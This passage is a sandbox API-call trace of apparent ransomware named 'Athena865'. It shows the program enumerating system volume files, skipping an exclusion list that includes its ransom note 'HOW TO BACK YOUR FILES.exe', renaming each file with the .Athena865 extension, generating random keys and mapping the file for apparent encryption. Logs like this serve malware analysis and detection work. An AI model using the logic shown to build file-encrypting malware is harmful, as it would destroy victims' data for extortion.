Volume Information\\SPP\\OnlineMetadataCache\\{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.763] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.763] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3440) returned 1 [0099.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.763] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.764] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.764] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.764] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1070, lpName=0x0) returned 0x154 [0099.768] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1070) returned 0x100000 [0099.770] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.770] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.770] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.771] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.771] CloseHandle (hObject=0x154) returned 1 [0099.771] CloseHandle (hObject=0x17c) returned 1 [0099.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.772] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x743c4d00, ftCreationTime.dwHighDateTime=0x1d301bd, ftLastAccessTime.dwLowDateTime=0x743c4d00, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x743c4d00, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", cAlternateFileName="{7A521~1")) returned 1 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.772] lstrlenW (lpString="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp") returned 57 [0099.772] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp" | out: lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp") returned="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp" [0099.772] lstrlenW (lpString="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp") returned 57 [0099.772] lstrlenW (lpString="Athena865") returned 9 [0099.772] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.772] lstrlenW (lpString=".dll") returned 4 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.772] lstrlenW (lpString=".lnk") returned 4 [0099.772] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.773] lstrlenW (lpString=".ini") returned 4 [0099.773] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.773] lstrlenW (lpString=".sys") returned 4 [0099.773] lstrcmpiW (lpString1="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.773] lstrlenW (lpString="{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp") returned 57 [0099.773] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp.Athena865") returned 120 [0099.773] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{7a521dbe-9658-44e5-843c-29dd5c50d136}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{7a521dbe-9658-44e5-843c-29dd5c50d136}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.774] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{7a521dbe-9658-44e5-843c-29dd5c50d136}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{7a521dbe-9658-44e5-843c-29dd5c50d136}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.774] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3416) returned 1 [0099.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.774] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.775] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.775] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.775] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1060, lpName=0x0) returned 0x154 [0099.776] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1060) returned 0x100000 [0099.777] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.778] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.778] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.779] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.779] CloseHandle (hObject=0x154) returned 1 [0099.779] CloseHandle (hObject=0x17c) returned 1 [0099.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.779] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x17bcfb40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x17bcfb40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x17bcfb40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xae0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", cAlternateFileName="{8000F~1")) returned 1 [0099.779] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.780] lstrlenW (lpString="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp") returned 57 [0099.780] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp" | out: lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp") returned="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp" [0099.780] lstrlenW (lpString="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp") returned 57 [0099.780] lstrlenW (lpString="Athena865") returned 9 [0099.780] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.780] lstrlenW (lpString=".dll") returned 4 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.780] lstrlenW (lpString=".lnk") returned 4 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.780] lstrlenW (lpString=".ini") returned 4 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.780] lstrlenW (lpString=".sys") returned 4 [0099.780] lstrcmpiW (lpString1="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.780] lstrlenW (lpString="{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp") returned 57 [0099.780] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp.Athena865") returned 120 [0099.781] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{8000ffcd-1da9-461e-a8a6-b9c248869570}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{8000ffcd-1da9-461e-a8a6-b9c248869570}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.782] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{8000ffcd-1da9-461e-a8a6-b9c248869570}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{8000ffcd-1da9-461e-a8a6-b9c248869570}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.782] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2784) returned 1 [0099.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.783] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.783] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.783] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.783] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xde0, lpName=0x0) returned 0x154 [0099.785] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xde0) returned 0x100000 [0099.788] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.788] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.788] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.789] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.789] CloseHandle (hObject=0x154) returned 1 [0099.789] CloseHandle (hObject=0x17c) returned 1 [0099.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.789] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6de86340, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0x6de86340, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0x6df1e8c0, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0xd20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", cAlternateFileName="{8002C~1")) returned 1 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.790] lstrlenW (lpString="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp") returned 57 [0099.790] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp" | out: lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp") returned="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp" [0099.790] lstrlenW (lpString="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp") returned 57 [0099.790] lstrlenW (lpString="Athena865") returned 9 [0099.790] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.790] lstrlenW (lpString=".dll") returned 4 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.790] lstrlenW (lpString=".lnk") returned 4 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.790] lstrlenW (lpString=".ini") returned 4 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.790] lstrlenW (lpString=".sys") returned 4 [0099.790] lstrcmpiW (lpString1="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.790] lstrlenW (lpString="{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp") returned 57 [0099.790] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp.Athena865") returned 120 [0099.791] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{8002c55b-b05c-402e-b80d-41cead61f984}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{8002c55b-b05c-402e-b80d-41cead61f984}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.791] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{8002c55b-b05c-402e-b80d-41cead61f984}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{8002c55b-b05c-402e-b80d-41cead61f984}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.791] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3360) returned 1 [0099.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.792] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.793] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.793] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.793] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1020, lpName=0x0) returned 0x154 [0099.794] MapViewOfFile (hFileMappingObject=0x154, 